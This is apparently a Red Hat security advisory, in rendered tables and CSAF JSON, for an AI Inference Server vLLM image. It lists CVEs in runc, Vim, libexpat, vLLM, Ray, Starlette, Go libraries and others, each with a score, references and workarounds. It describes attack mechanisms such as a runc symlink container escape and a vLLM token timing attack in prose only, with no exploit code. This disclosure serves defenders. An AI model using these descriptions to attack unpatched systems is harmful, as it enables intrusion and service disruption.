A flaw was found in the `golang.org/x/oauth2/jws` package in the token parsing component. This vulnerability is made possible because of the use of `strings.Split(token, ".")` to split JWT tokens, which can lead to excessive memory consumption when processing maliciously crafted tokens with a large number of `.` characters. An attacker could exploit this functionality by sending numerous malformed tokens and can trigger memory exhaustion and a Denial of Service.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in the golang.org/x/crypto/ssh package. SSH clients and servers are vulnerable to increased resource consumption, possibly leading to memory exhaustion and a DoS. This can occur during key exchange when the other party is slow to respond during key exchange.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in runc. CVE-2025-52565 is very similar in concept and application toCVE-2025-31133, except that it exploits a flaw in /dev/console bind-mounts. When creating the /dev/console bind-mount (to /dev/pts/$n), if an attacker replaces /dev/pts/$n with a symlink then runc will bind-mount the symlink target over /dev/console.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64 | — |
Vendor Fix
fix
Workaround
|
A path traversal flaw was found in Vim. Successful exploitation can lead to overwriting sensitive files or placing executable code in privileged locations, depending on the permissions of the process editing the archive.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64 | — |
Vendor Fix
fix
Workaround
|
A path traversal flaw was found in Vim. Successful exploitation can lead to overwriting sensitive files or placing executable code in privileged locations, depending on the permissions of the process editing the archive.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64 | — |
Vendor Fix
fix
Workaround
|
A memory amplification vulnerability in libexpat allows attackers to trigger excessive dynamic memory allocations by submitting specially crafted XML input. A small input (~250 KiB) can cause the parser to allocate hundreds of megabytes, leading to denial-of-service (DoS) through memory exhaustion.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in vLLM’s API token authentication logic, where token comparisons were not performed in constant time. This weakness could allow an attacker to exploit timing differences to guess valid tokens and bypass authentication.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in Ray’s HTTP API endpoint handling (e.g. /api/jobs, /api/job_agent/jobs/), which allows a remote attacker to trigger arbitrary code execution when a developer using Ray visits a malicious website in a vulnerable browser (e.g. Firefox or Safari). The root cause is an insufficient defense relying solely on the User-Agent header starting with “Mozilla”, which can be manipulated under the fetch specification — enabling a DNS-rebinding attack to bypass browser-based protections.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64 | — |
Vendor Fix
fix
Workaround
|
A denial of service vulnerability has been discovered in the python Starlette framework. an unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This induces CPU exhaustion per request, causing a denial‑of‑service for endpoints serving files.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64 | — |
Vendor Fix
fix
Workaround
|
A remote code execution vulnerability has been identified in vLLM. An attacker can exploit a weakness in the model loading process to silently fetch and run unauthorized, malicious Python code on the host system. This happens because the engine mistakenly executes code from a remote repository referenced in a model's configuration, even when explicit security measures are set to prevent it.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64 | — |
Vendor Fix
fix
Workaround
|
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"title": "Vulnerability description"
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"text": "libtiff: TIFFRasterScanlineSize64 produce too-big size and could cause OOM",
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"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
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"title": "Vulnerability description"
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{
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"title": "CVSS score applicability"
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"title": "Vulnerability description"
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"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
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"title": "shadow-utils: Default subordinate ID configuration in /etc/login.defs could lead to compromise"
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{
"acknowledgments": [
{
"names": [
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]
}
],
"cve": "CVE-2025-5318",
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"name": "Out-of-bounds Read"
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"discovery_date": "2025-05-29T06:48:59.169000+00:00",
"ids": [
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"system_name": "Red Hat Bugzilla ID",
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"title": "Vulnerability description"
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{
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"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
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],
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},
{
"category": "external",
"summary": "https://www.libssh.org/security/advisories/CVE-2025-5318.txt",
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"userInteraction": "NONE",
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"title": "libssh: out-of-bounds read in sftp_handle()"
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{
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"cwe": {
"id": "CWE-918",
"name": "Server-Side Request Forgery (SSRF)"
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"discovery_date": "2025-06-18T15:26:47.633000+00:00",
"ids": [
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{
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"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
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"baseScore": 7.1,
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"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
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"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H",
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"details": "Important"
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{
"cve": "CVE-2025-6965",
"cwe": {
"id": "CWE-197",
"name": "Numeric Truncation Error"
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"ids": [
{
"system_name": "Red Hat Bugzilla ID",
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{
"category": "description",
"text": "A memory corruption flaw was found in SQLite. Under specific conditions a query can be generated where the number of aggregate terms could exceed the number of columns available. This issue could lead to memory corruption and subsequent unintended behavior.",
"title": "Vulnerability description"
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"title": "Vulnerability summary"
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"text": "This vulnerability in SQLite is categorized as Important rather than Critical because, although it involves memory corruption, the conditions required to trigger it are relatively constrained. The flaw arises when a query causes the number of aggregate terms to exceed internal limits, leading to potential buffer overflows or memory mismanagement. However, exploitation requires the ability to craft complex SQL queries and interact with the SQLite engine in a specific manner\u2014typically through direct SQL input. There is no known evidence of arbitrary code execution, privilege escalation, or remote exploitability as a direct result of this flaw. Additionally, most SQLite deployments are embedded in applications where input is tightly controlled or sanitized.",
"title": "Statement"
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{
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"category": "other",
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"title": "Statement"
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{
"category": "general",
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"summary": "http://www.libtiff.org/",
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"title": "libtiff: LibTIFF Use-After-Free Vulnerability"
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"cwe": {
"id": "CWE-787",
"name": "Out-of-bounds Write"
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"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2396054"
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"title": "Vulnerability description"
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{
"category": "summary",
"text": "openssl: Out-of-bounds read \u0026 write in RFC 3211 KEK Unwrap",
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{
"category": "other",
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"title": "Statement"
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{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
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"organization": "AnchorSec Ltd."
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"name": "Write-what-where Condition"
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"ids": [
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"title": "Vulnerability description"
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{
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{
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"title": "Statement"
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{
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"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
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"summary": "https://github.com/SexyShoelessGodofWar/LibTiff-4.7.0-Write-What-Where?tab=readme-ov-file",
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"version": "3.1"
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"ids": [
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"text": "A flaw was found in the `golang.org/x/oauth2/jws` package in the token parsing component. This vulnerability is made possible because of the use of `strings.Split(token, \".\")` to split JWT tokens, which can lead to excessive memory consumption when processing maliciously crafted tokens with a large number of `.` characters. An attacker could exploit this functionality by sending numerous malformed tokens and can trigger memory exhaustion and a Denial of Service.",
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"title": "Vulnerability summary"
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{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
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"details": "For more information visit https://access.redhat.com/errata/RHSA-2025:23079",
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"Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2025:23079"
},
{
"category": "workaround",
"details": "To mitigate this vulnerability, it is recommended to pre-validate any payloads passed to `go-jose` to check that they do not contain an excessive amount of `.` characters.",
"product_ids": [
"Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "golang.org/x/oauth2/jws: Unexpected memory consumption during token parsing in golang.org/x/oauth2/jws"
},
{
"cve": "CVE-2025-22869",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2025-02-26T04:00:47.683125+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2348367"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in the golang.org/x/crypto/ssh package. SSH clients and servers are vulnerable to increased resource consumption, possibly leading to memory exhaustion and a DoS. This can occur during key exchange when the other party is slow to respond during key exchange.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "golang.org/x/crypto/ssh: Denial of Service in the Key Exchange of golang.org/x/crypto/ssh",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "While this flaw affects both SSH clients and servers implemented with golang.org/x/crypto/ssh, realistically the flaw will only lead to a DoS when transferring large files, greatly reducing the likelihood of exploitation.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-22869"
},
{
"category": "external",
"summary": "RHBZ#2348367",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2348367"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-22869",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22869"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-22869",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22869"
},
{
"category": "external",
"summary": "https://go.dev/cl/652135",
"url": "https://go.dev/cl/652135"
},
{
"category": "external",
"summary": "https://go.dev/issue/71931",
"url": "https://go.dev/issue/71931"
},
{
"category": "external",
"summary": "https://pkg.go.dev/vuln/GO-2025-3487",
"url": "https://pkg.go.dev/vuln/GO-2025-3487"
}
],
"release_date": "2025-02-26T03:07:48.855000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2025-12-10T18:25:33+00:00",
"details": "For more information visit https://access.redhat.com/errata/RHSA-2025:23079",
"product_ids": [
"Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2025:23079"
},
{
"category": "workaround",
"details": "This flaw can be mitigated when using the client only connecting to trusted servers.",
"product_ids": [
"Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "golang.org/x/crypto/ssh: Denial of Service in the Key Exchange of golang.org/x/crypto/ssh"
},
{
"cve": "CVE-2025-52565",
"cwe": {
"id": "CWE-59",
"name": "Improper Link Resolution Before File Access (\u0027Link Following\u0027)"
},
"discovery_date": "2025-10-17T14:19:18.653000+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2404708"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in runc. CVE-2025-52565 is very similar in concept and application toCVE-2025-31133, except that it exploits a flaw in /dev/console\nbind-mounts. When creating the /dev/console bind-mount (to /dev/pts/$n), if an attacker replaces /dev/pts/$n with a symlink then runc will bind-mount the symlink target over /dev/console.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "runc: container escape with malicious config due to /dev/console mount and related races",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Red Hat considers this as an Important flaw since the impact is limited to local attack with minimal privileges in order to jeopardize the environment.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64"
]
},
"references": [
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"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-52565"
},
{
"category": "external",
"summary": "RHBZ#2404708",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2404708"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-52565",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-52565"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-52565",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52565"
},
{
"category": "external",
"summary": "https://github.com/opencontainers/runc/security/advisories/GHSA-qw9x-cqr3-wc7r",
"url": "https://github.com/opencontainers/runc/security/advisories/GHSA-qw9x-cqr3-wc7r"
}
],
"release_date": "2025-11-05T00:00:00+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2025-12-10T18:25:33+00:00",
"details": "For more information visit https://access.redhat.com/errata/RHSA-2025:23079",
"product_ids": [
"Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2025:23079"
},
{
"category": "workaround",
"details": "Potential mitigations for this issue include:\n\n* Using user namespaces, with the host root user not mapped into the container\u0027s namespace. procfs file permissions are managed using Unix DAC and thus user namespaces stop a container process from being able to write to them.\n* Not running as a root user in the container (this includes disabling setuid binaries with noNewPrivileges). As above, procfs file permissions are managed using Unix DAC and thus non-root users cannot write to them.\n* The default SELinux policy should mitigate this issue, as the /dev/console bind-mount does not re-label the mount and so the container process should not be able to write to unsafe procfs files. However, CVE-2025-52881 allows an attacker to bypass LSM labels, and so this mitigation is not helpful when considered in combination with CVE-2025-52881.\n* The default AppArmor profile used by most runtimes will NOT help mitigate this issue, as /dev/console access is permitted. You could create a custom profile that blocks access to /dev/console, but such a profile might break regular containers. In addition, CVE-2025-52881 allows an attacker to bypass LSM labels, and so that mitigation is not helpful when considered in combination with CVE-2025-52881.",
"product_ids": [
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]
}
],
"scores": [
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"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
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"details": "Important"
}
],
"title": "runc: container escape with malicious config due to /dev/console mount and related races"
},
{
"cve": "CVE-2025-53905",
"cwe": {
"id": "CWE-22",
"name": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)"
},
"discovery_date": "2025-07-15T21:01:19.770241+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2380362"
}
],
"notes": [
{
"category": "description",
"text": "A path traversal flaw was found in Vim. Successful exploitation can lead to overwriting sensitive files or placing executable code in privileged locations, depending on the permissions of the process editing the archive.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "vim: Vim path traversial",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
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},
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"summary": "RHBZ#2380362",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380362"
},
{
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"summary": "https://www.cve.org/CVERecord?id=CVE-2025-53905",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-53905"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-53905",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53905"
},
{
"category": "external",
"summary": "https://github.com/vim/vim/commit/87757c6b0a4b2c1f71c72ea8e1438b8fb116b239",
"url": "https://github.com/vim/vim/commit/87757c6b0a4b2c1f71c72ea8e1438b8fb116b239"
},
{
"category": "external",
"summary": "https://github.com/vim/vim/security/advisories/GHSA-74v4-f3x9-ppvr",
"url": "https://github.com/vim/vim/security/advisories/GHSA-74v4-f3x9-ppvr"
}
],
"release_date": "2025-07-15T20:48:34.764000+00:00",
"remediations": [
{
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"date": "2025-12-10T18:25:33+00:00",
"details": "For more information visit https://access.redhat.com/errata/RHSA-2025:23079",
"product_ids": [
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],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2025:23079"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "LOCAL",
"availabilityImpact": "LOW",
"baseScore": 4.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:L/A:L",
"version": "3.1"
},
"products": [
"Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Moderate"
}
],
"title": "vim: Vim path traversial"
},
{
"cve": "CVE-2025-53906",
"cwe": {
"id": "CWE-22",
"name": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)"
},
"discovery_date": "2025-07-15T21:01:15.057182+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2380360"
}
],
"notes": [
{
"category": "description",
"text": "A path traversal flaw was found in Vim. Successful exploitation can lead to overwriting sensitive files or placing executable code in privileged locations, depending on the permissions of the process editing the archive.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "vim: Vim path traversal",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64"
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},
"references": [
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"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-53906"
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"category": "external",
"summary": "RHBZ#2380360",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380360"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-53906",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-53906"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-53906",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53906"
},
{
"category": "external",
"summary": "https://github.com/vim/vim/commit/586294a04179d855c3d1d4ee5ea83931963680b8",
"url": "https://github.com/vim/vim/commit/586294a04179d855c3d1d4ee5ea83931963680b8"
},
{
"category": "external",
"summary": "https://github.com/vim/vim/security/advisories/GHSA-r2fw-9cw4-mj86",
"url": "https://github.com/vim/vim/security/advisories/GHSA-r2fw-9cw4-mj86"
}
],
"release_date": "2025-07-15T20:52:40.137000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2025-12-10T18:25:33+00:00",
"details": "For more information visit https://access.redhat.com/errata/RHSA-2025:23079",
"product_ids": [
"Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2025:23079"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "LOCAL",
"availabilityImpact": "LOW",
"baseScore": 4.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:L/A:L",
"version": "3.1"
},
"products": [
"Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Moderate"
}
],
"title": "vim: Vim path traversal"
},
{
"cve": "CVE-2025-59375",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2025-09-15T03:00:59.775098+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2395108"
}
],
"notes": [
{
"category": "description",
"text": "A memory amplification vulnerability in libexpat allows attackers to trigger excessive dynamic memory allocations by submitting specially crafted XML input. A small input (~250 KiB) can cause the parser to allocate hundreds of megabytes, leading to denial-of-service (DoS) through memory exhaustion.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "firefox: thunderbird: expat: libexpat in Expat allows attackers to trigger large dynamic memory allocations via a small document that is submitted for parsing",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This issue is Important rather than Critical because, while it allows for significant resource exhaustion leading to denial-of-service (DoS), it does not enable arbitrary code execution, data leakage, or privilege escalation. The vulnerability stems from an uncontrolled memory amplification behavior in libexpat\u2019s parser, where a relatively small XML payload can cause disproportionately large heap allocations. However, the flaw is limited in scope to service disruption and requires the attacker to submit a crafted XML document\u2014something that can be mitigated with proper input validation and memory usage limits. Therefore, while the exploitability is high, the impact is confined to availability, not confidentiality or integrity, making it a high-severity but not critical flaw.\n\nIn Firefox and Thunderbird, where libexpat is a transitive userspace dependency, exploitation usually just crashes the application (app-level DoS), so it is classified as Moderate instead of Important.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
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{
"category": "external",
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"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
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"details": "Important"
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],
"title": "firefox: thunderbird: expat: libexpat in Expat allows attackers to trigger large dynamic memory allocations via a small document that is submitted for parsing"
},
{
"cve": "CVE-2025-59425",
"cwe": {
"id": "CWE-208",
"name": "Observable Timing Discrepancy"
},
"discovery_date": "2025-09-22T06:45:41.577000+00:00",
"ids": [
{
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],
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"title": "Vulnerability description"
},
{
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"text": "vllm: Timing Attack in vLLM API Token Verification Leading to Authentication Bypass",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "The RedHat security team has rated the severity of this issue as Important. The vulnerability is remotely exploitable without authentication or user interaction and can result in authentication bypass. The root cause was the use of a non-constant-time string comparison, which leaked timing information. Successful exploitation could lead to unauthorized access to APIs and sensitive resources.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
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{
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59425"
},
{
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"release_date": "2025-10-07T00:00:00+00:00",
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"date": "2025-12-10T18:25:33+00:00",
"details": "For more information visit https://access.redhat.com/errata/RHSA-2025:23079",
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"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
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"details": "Important"
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"title": "vllm: Timing Attack in vLLM API Token Verification Leading to Authentication Bypass"
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"cwe": {
"id": "CWE-94",
"name": "Improper Control of Generation of Code (\u0027Code Injection\u0027)"
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"discovery_date": "2025-11-26T23:01:25.307125+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
